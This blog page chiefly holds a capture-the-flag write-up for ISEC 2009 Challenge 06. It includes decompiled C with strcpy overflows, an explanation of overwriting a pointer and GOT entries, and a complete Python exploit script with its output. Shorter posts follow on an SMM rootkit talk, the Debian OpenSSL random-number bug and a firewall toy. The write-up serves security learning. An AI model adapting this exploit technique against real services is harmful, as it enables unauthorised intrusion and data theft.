ISEC 2009 CTF Prequal – Challenge 06

August 25, 2009 by RD · Leave a Comment 

Summary

The binary blackhole contains remote buffer overflow bugs. By exploiting these bugs, we can overwrite a buffer pointer being used as the destination for another strcpy() later in the program. Hence, we can write 128 bytes of chosen data to any location we want to.

Vulnerability

Reverse C code of the buggy function at address 0×8048A20

signed int conn_handle(int fd)
{

   unsigned int s;
   int len;
   char buf128[128];
   char destrandbuf12[12];
   char randbuf12[12];
   char destbuf16[16];
   int randnum;
   char *buf_ptr;
   FILE *stream;

   randnum = 0;
   buf_ptr = 0;
   sockfd = fd;
   sendtosocket(fd, "name : ", 7);
   memset(buf128, 0, 128);
   s = time(0);
   srand(s);
   randnum = rand() % 10000;
   readfromsocket(fd, buf128, 32, 10);
   strcpy(destbuf16, buf128);
   memset(randbuf12, 0, 12);
   snprintf(randbuf12, 5, "%d", randnum);
   xor_randnum(randbuf12, destrandbuf12);
   snprintf(buf128, 64, "hello %s , your key : %s\n", destbuf16, destrandbuf12);
   len = strlen(buf128);
   sendtosocket(fd, buf128, len);
   sendtosocket(fd, "surisuri : ", 11);
   memset(buf128, 0, 128);
   readfromsocket(fd, buf128, 128, 10);
   if ( strncmp(buf128, randbuf12, 4) )
   {
     stream = fopen("/dev/null", "w");
     fputs(buf128, stream);
     sendtosocket(fd, "blackhole\n", 10);
     exit(1);
   }
   stream = fopen("./key", "r");
   if ( stream )
   {
     fread(keystr, 32, 1, stream);
     strcpy(randbuf12, buf128);
     strcpy(buf_ptr, buf128);
     printf("abrakatabra the key is %s\n", "elohkcalb");
     exit(1);
   }
   return -1;
}

There are two buffer overflow bugs:
    – 16 bytes overflow at line 23: strcpy(destbuf16, buf128)
    – 116 bytes overflow at line 44: strcpy(randbuf12, buf128)

Exploit

In order to reach the second buggy code at line 44, we need to provide the proper input to pass random check strncmp(buf128, randbuf12, 4) at line 33. The easiest way to do this is to overwrite the `randnum` value using the first strcpy() at line 23. After that, by using the second overflow bug at line 44, we can overwrite `buf_ptr` pointer in the subsequence strcpy(buf_ptr, buf128) at line 45 to be able to write 128 bytes of input data to any memory address.

It’s possible to overwrite the GOT table in the way that the server would send the content of ./key file back to the client via sendtosocket(). Since the static variable `keystr` is used to store the content of ./key file, we can craft the GOT table to change the program flow to end up with something like

; printf GOT points to 0x08048C63
.text:08048C63                 mov     dword ptr [esp+4], 20h ; size
.text:08048C6B                 mov     dword ptr [esp], offset keystr ; ptr
.text:08048C72                 call    _fread

; fread GOT points to 0x08048B98
.text:08048B98                 mov     eax, [ebp+fd]
.text:08048B9B                 mov     [esp], eax      ; fd
.text:08048B9E                 call    sendtosocket

which is equivalent to sendtosocket(fd, keystr, 32) so the server will send us back 32 bytes content of ./key file.

$ python 6.py
< name :
< hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa , your key : 0407
< surisuri :
KEY: wowyougotpasswordgonextlevel

Exploit Code

#!/usr/bin/env python

import socket

host = '221.143.48.88'
port = 57005
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

ret = s.recv(1024)
print "&lt; %s" % ret

name = "a"*32 + "\n"
s.send(name)

ret = s.recv(1024)
print "&lt; %s" % ret

ret = s.recv(1024)
print "&lt; %s" % ret

# GOT - from 0x0804A2FC waitpid_ptr
# RANDSTR[4] PAD[4] CALL_SENDTOSOCKET[4] PAD[20] BUF_PTR[4]
# PAD[4] CALL_FREAD[4]

RANDSTR = "1633"
CALL_SENDTOSOCKET = "\x98\x8B\x04\x08"	# fread GOT
CALL_FREAD = "\x63\x8C\x04\x08" 	# printf GOT
BUF_PTR = "\xFC\xA2\x04\x08"		# waitpid GOT
surisuri = RANDSTR + "A"*4 + CALL_SENDTOSOCKET + "A"*20 \
           + BUF_PTR + "A"*4 + CALL_FREAD + "\n"
s.send(surisuri)

ret = s.recv(1024)
print "KEY: %s\n" % ret

s.close

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

R2D2 DVD projector and Wireless webcam.

May 14, 2008 by RD · Leave a Comment 

Links:

http://www.nikkor2d2.com/

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

SMM rootkit PoC demo at Black Hat 08

May 13, 2008 by RD · Leave a Comment 

Với kiến trúc IA32/64, để thay đổi SMI handler (cho rootkit) có thể patch BIOS code hoặc thay đổi trực tiếp từ SMRAM nếu D_LCK bit không được set hoặc tận dụng lỗi của CPU/Chipset/BIOS cho phép truy cập vùng nhớ SMRAM. ITP (In-Target Probe) cũng có thể được dùng để thay đổi SMRAM hay debug SMI handler.  Theo thông tin được biết từ tác giả của SMM rookit sẽ trình bày tại BlackHat 08 sắp tới thì họ tận dụng lỗi cũ được công bố năm 2006 khi BIOS không khóa vùng nhớ SMRAM. Duflot đã trình bày việc tận dụng lỗi này để phá lớp bảo vệ của OpenBSD secure levels tại CanSecWest 2006. BSDaemon cũng đã đề cập một phần về chủ đề này tại VNSECON 07 và viết một bài nghiên cứu về việc này trên Phrack Magazine.

Yuriy của Intel cũng sẽ trình bày tại BlackHat 08 sắp tới một giải pháp để phát hiện virtualization rookit sử dụng bộ vi xử lý riêng nhúng trong MCH. Giải pháp này cũng có thể được sử dụng để phát hiện SMM rootkit.

Links:

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Debian openssl package fix predictable random number generator

May 13, 2008 by RD · Leave a Comment 

Debian developer vào 05/2006 đã chỉnh sửa lại code của OpenSSL sau khi sửa lỗi “uninitialized variable” do valgrind cảnh báo. Tuy nhiên do không hiểu đây là sự cố tình sử dụng biến không được khởi tạo như một yếu tố “ngẫu nhiễn” của OpenSSL developer, Debian developer đã loại bỏ một số đoạn mã trong hàm PRNG khiến cho cho bộ sinh số ngẫu nhiên này chỉ được “seed” bởi process pid từ hệ thống. Điều này dẫn đến thư viện OpenSSL do Debian cung cấp này chỉ sinh ra 32,768 cặp khóa duy nhất từ PRNG, đồng nghĩa với việc độ an toàn của các khóa RSA, DSA, … chỉ còn là 15 bits.

Các mã khóa được sinh ra từ các gói có sử dụng thư viện OpenSSL bị lỗi này như SSH, OpenVPN, DNSSEC, X.509 certificates đều cần phải được sinh (generate) lại khóa từ đầu.

Đây là một ví dụ điển hình cho việc vì sao các nhà đóng gói phần mềm không nên tự ý chỉnh sửa code của các thư viện, phần mềm nếu không hiểu rõ về nó và nếu có chỉnh sửa thì nên gửi lại bản patch cho nhà phát triển của gói phần mềm đó để kiểm tra và cập nhật.

Links:

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Wolfotrack, 3D Firewall GUI

May 9, 2008 by RD · 2 Comments 

Wolfotrack is a netfilter connection tracking killer with a 3D GUI based on game Wolfenstein 3D! You simply kill people that are tight to a state updated by the connection tracking. Everytime a door is opened, this table is refreshed. And when the actor is killed, the connection tracking associated is killed as well! Nice!:D

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

« Previous PageNext Page »